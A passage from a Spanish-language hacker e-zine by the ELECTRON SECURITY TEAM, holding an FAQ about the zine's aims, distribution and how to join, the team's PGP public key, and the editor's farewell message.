(-03-)... Cual es el objetivo del e-zine?
(-04-)... Donde puedo conseguir el e-zine �?
(-05-)... Cada cuanto saldra un nuevo numero �?
(-06-)... Como puedo unirme al Team del ELECTRON ?�?
(-07-)... Como puedo colaborar al e-zine ?�
(-08-)... Como puedo empezar en el mundo de lo Under�





          =============================
	    Intentando dar una Respuesta:
          =============================


(-01-)... Que es exactamente ELECTRON SECURITY TEAM, e-zine ?�

          Realmente lo que tengo en mente con ELECTRON SECURITY TEAM, es poder 
          llegar a formar un grupo determinado de personas que al igual que yo
          sean adictas a la informatica y en conjunto seguir adelante con esta
          noble causa de informar a nuestra gente... el numero  de personas es
          por el momento un enigma,al igual que su nacionalidad,ya que no solo
          chilenos nos leeran, en todo caso no! quiero poner un numero limite,
          en cuanto a los integrantes del Team respecta, eso kiere por ejemplo
          desir k podrian ser unos 15, por desir algo o seguir siendo uno solo
          como lo es hasta el momento...  sera  un equipo  abierto  y  siempre 
          dispuesto a recibir nuevos miembros.


(-02-)... Por que ELECTRON ?�

          Me creeran que eso ni yo lo se!,no es broma,lo que pasa esque si nos
          ponemos a pensar  un poco en lo que es  la computacion y la sociedad
          actual, o mas que sociedad HUMANIDAD, por que yo me pregunto lo sgt:
          que seria este mundo sin la energia electrica?�?� uff! un  verdadero
          desastre, y ahora bien me nace otra pregunta,que seria de la energia
          o k seria de la electricidad sin el ELECTRON?como todo el mundo debe
          saberlo, la electrcidad es un flujo de electrones, en un determinado
          material (conductor electrico) y esto es posible al fenomeno llamado
          "electron de valencia" que vendria a ser el ultimo electron  que  se
          desprende del atomo del material, ese electron choca! a otro atomo y
          logra desprender a otro electron de valencia y haci respectivamente,
          con esto se da nacimiento a la Electricidad, y con ella nacen nuevas
          tecnologias y estas asu  ves  aportan al  desarrollo de la HUMANIDAD
          Por que sin el electron nada de esto existiria y todo seria parte de
          un lindo sue�o de adas.

          La misma importancia que tiene el electron atomico para la humanidad
          pretendo k la tenga el ELECTRON electronico, para la comunidad Under
          ya sea nacional o internacional... Sin duda que es un lindo concepto
          pero que atraves del tiempo y sobre todo con la ayuda de ustedes los
          lectores se ira haciendo una realidad.




(-03-)... Cual es el objetivo del e-zine?

          El objetivo de este e-zine, no  se aleja  demasiado  de lo que es el
          objetivo principal de un e-zine,creo que este consepto aun no cambia
          pero intentare educar junto amis futuros compa�eros, a la  comunidad
          UnderGround, poniendole a su disposicion informacion que normalmente
          esta indocumentada o en otro idioma, ademas que lo hago  por que  me
          gusta, por que es lo mio (eso creo...) y por el  symple regosijo que
          personalmente siento al educar a otras personas



(-04-)... Donde puedo conseguir el e-zine �?

          Por el momento no tengo muchos distribudores del e-zine,pero ya en un
          corto tiempo deberia estar en Zine Store,VanHackez y en algunas otras
          web`s que se dedican a distribuir e-zines, por el momento solo podras
          conseguirlo en: www.electron-team.subnet.dk ,k es una dire momentanea
          mientras pueda conseguirme un dominio, que seria lo ideal.
          
          
(-05-)... Cada cuanto saldra un nuevo numero �?

          Baya preguntita... pero es necesario aki aclarar algo!, la salida del
          proximo numero depende muchisimo de la aseptacion k tenga el ELECTRON
          depende mucho de las criticas, comentarios y opiniones que se generen
          de este primer numero, tmb depende mucho del apoyo k resiba por parte
          de mis compatriotas y de la misma comunidad Under,  depende de cuanta
          gente se me kiera unir, de cuantos quieran participar, de cuantos tmb
          kieran ayudar, en fin... y por sobre todo depende de mi y de mi animo
          ya que no es nada gracioso hacer un e-zine sin tener Inet en tu casa,
          ademas k aki entra a jugar un factor muy importante el estudio,yak no
          me a hido muy bien que digamos y tmpoco es la idea descuidar algo que
          me ayudara a concretar lo que es my proyecto de vida, pretendo seguir
          estudiando y no seria bueno que no le preste la atencion k es debida,
          yo calculo y ojala asi sea que el proximo numero se asome mas o menos
          en 1 mes y medio, pero como les dije todo depende!... ya despues  con
          el futuro Team conformado seria cada un mes la salida, aunque siempre
          suceden cosas que atrasan el mes... pero bueno, veamos como se portan
          los futuros miembros del equipo primero!



(-06-)... Como puedo unirme al Team del ELECTRON ?�?

          Si yo FUMO y tengo el pelo largo, no tengo ningun  derecho de exigirle
          a mi hijo que se corte el pelo y deje de fumar, por que yo no lo hago!
          Entonces para pertenecer al Team, no les voy a pedir pruebas, ni algun
          tipo de capasitacion :) ni k sean Hackers o que dominen la informatica
          al %200 ni nada por el estilo,solo voy a pedir esfuerzo! y dedicacion!
          con una cucharada de compromiso y responsabilidad, esas son las unicas
          condiciones que pongo, quienes crean tener esos  valores bien puestos,
          entonces mandenme la respectiva peticion a 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 ,yo les
          enviare la  respuesta lo mas pronto  posible,  para  que  empesemos  a
          trabajar de lleno en lo que vendra!



(-07-)... Como puedo colaborar al e-zine ?�

          Muchas son las maneras de ayudarme con el e-zine,  por ejemplo  puedes
          ayudar publicandolo en tu web, haciendole propaganda,difundiendolo por
          ahy, mandando mail`s de apoyo, escribiendo articulos, incluso  podrias
          ayudar en el dise�o de la pajina, todas esas son formas de ayudar  con
          el e-zine,



(-08-)... Como puedo empezar en el mundo de lo Under�
   
          Aunque la pregunta no tiene nada que ver con el tema,si esta ligada al
          proposito general del e-zine, ademas con algo  tenia  que  rellenar :)
          Leyendo temas Under,como por ejemplo e-zines como este o PR o FYE,esos
          serian buenos indicios para empesar en el mundo UnderGround, pero como
          todo en la vida esto requiere sacrificio y dedicacion por parte tuya!,
          de nada sirve leer y leer sino practicas, la practica ense�a mucho mas
          que lo teorico, adelante! intentalo...




Autor     : ELECTRON SECURITY TEAM
Titulo    : Intentando dar una Respuesta
E-mail    : 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 
URL       : www.electron-team.subnet.dk





�,��������,���`���,�,���`�����,���`�����,���`���,�,���`�����,���`�����,���``����









,���``����
    18
`���,�,���


Autor     : Electron Security Team
Titulo    : Llaves PGP 



|=================|============================|
|  Electron_Team  | 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
       |
|=================|============================|


-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGPfreeware 6.5.3 for non-commercial use 

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
=8OWZ
-----END PGP PUBLIC KEY BLOCK-----


Autor     : Electron Security Team
Titulo    : Llaves PGP 
Saludos   : Zimmerman?�

�,��������,���`���,�,���`�����,���`�����,���`���,�,���`�����,���`�����,���``����








,���``����
    19
`���,�,���


Autor     : El editor
Titulo    : Despedida y Comentario Final



Llego la maldita hora de tener que despedirce, como todo en la vida tenia            
que haber un final, a pesar de todo estoy contento por  haber podido  con   
esta gran responsabilidad de llevar a la escena una nueva propuesta,ya no      
puedo esperar mas para sacar el proximo numero, que por cierto vendra muu    .oH*E*E*Ho.
weno, eso espero, aparte que estoy seguro que mas de alguien se me  unira   x*#"~```"!Rn�$
y asi ser cada dia mas y mejores!...ahora bien no quiero quedarme con ese  z!~           ~@!
mal sabor de estar peleado con NoKeyZ, tmpco me arrepiento de lo que dije xZ~             `Mi
ellos saben que todo es veridico, pero en verdad lo que me molesto,fue la$? ^%$%�$�#~~��]�*`$
actitud de ellos hacia mi persona, me dieron donde mas me duele! y eso ni$L8"��$�$%#~#~�P*:$�
cagando lo hiba a dejar pasar por alto!, ellos saben ahora lo que tiene k ?B
hacer... Recuerden siempre, que podremos ser muy buenos sentados frente a `?NL
un tarro,podemos tener mucha habilidad con los computadores,podemos saber    `#$m.......u@#~
mucho de informatica,pero si hay algo que nunca debemos dejar de lado: es      ~H#tWXW$*"`
nuestra condicion de seres humanos y tmb debieramos pretender  ser buenos
como persona,este mundo esta cada vez mas desumanisado y eso no es ningun      ELECTRON
avanse sino un retroceso hacia la era cabernicola,pretendamos que haci de
buenos k somos con un compuador, lo seamos frente a otra persona,para eso    SECURITY TEAM
hay que tener valores y bien puestos!. Espero anciosamente que nos veamos
en la proxima entrega, hasta entonces, bye!, bye! y gracias,,,


                         www.electron-team.subnet.dk

�,��������,���`���,�,���`�����,���`�����,���`���,�,���`�����,���`�����,���
�,��������,���`���,� ELECTRON ���` SECURITY �����,� TEAM ���,���`�����,���
�,��������,���`���,�,���`�����,���`�����,���`���,�,���`�����,���`�����,���
Ultimos Mensajes del Foro

Manuales recientes

Manual Aleatorio

Webs Amigas

Noticias recientes

Menu de Usuario

Encuestas
